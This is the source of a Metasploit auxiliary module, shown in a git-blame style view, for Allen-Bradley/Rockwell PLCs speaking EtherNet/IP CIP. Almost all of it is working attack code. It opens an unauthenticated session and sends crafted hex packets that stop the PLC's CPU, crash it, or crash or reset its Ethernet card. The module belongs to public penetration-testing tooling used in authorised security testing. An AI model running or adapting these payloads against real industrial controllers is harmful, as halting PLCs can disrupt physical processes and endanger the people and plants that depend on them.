metasploit-framework/modules/auxiliary/admin/scada/multi_cip_command.rb

139 lines
4.8 KiB
Ruby
Raw Normal View History

2012-04-05 17:35:21 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-04-05 17:35:21 +00:00
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info={})
super(update_info(info,
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
'Description' => %q{
2017-08-25 01:38:44 +00:00
The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
2013-08-30 21:28:54 +00:00
implements the protocol. This module implements the CPU STOP command, as well as
the ability to crash the Ethernet card in an affected device.
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
This module is based on the original 'ethernetip-multi.rb' Basecamp module
from DigitalBond.
},
'Author' =>
[
'Ruben Santamarta <ruben[at]reversemode.com>',
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => 'Jan 19 2012'))
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(44818),
# Note that OptEnum is case sensitive
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
[
"STOPCPU",
"CRASHCPU",
"CRASHETHER",
"RESETETHER"
]
])
], self.class
)
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def run
attack = datastore["ATTACK"]
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
sid = req_session
if sid
forge_packet(sid, payload(attack))
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
end
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def forge_packet(sessionid, payload)
packet = ""
packet += "\x6f\x00" # command: Send request/reply data
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
packet += [sessionid].pack("N") # session identifier (4 bytes)
packet += payload #payload part
begin
sock.put(packet)
rescue ::Interrupt
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
return nil
end
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def req_session
begin
connect
packet = ""
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
packet += "\x04\x00" # encaph_length (2 bytes)
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
packet += "\x00\x00\x00\x00" # status code (4 bytes)
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
packet += "\x01\x00" # proto (2 bytes)
packet += "\x00\x00" # flags (2 bytes)
sock.put(packet)
response = sock.get_once
if response
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
if session_id
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
else
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
return nil
end
else
raise ::Rex::ConnectionTimeout
end
rescue ::Interrupt
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
return nil
end
return session_id
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def cleanup
disconnect rescue nil
end
2012-04-05 17:35:21 +00:00
2013-08-30 21:28:54 +00:00
def payload(attack)
case attack
when "STOPCPU"
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
when "CRASHCPU"
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
when "CRASHETHER"
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
when "RESETETHER"
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
"\x05\x03\x20\x01\x24\x01\x30\x03"
else
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
return nil
end
end
2012-04-05 17:35:21 +00:00
end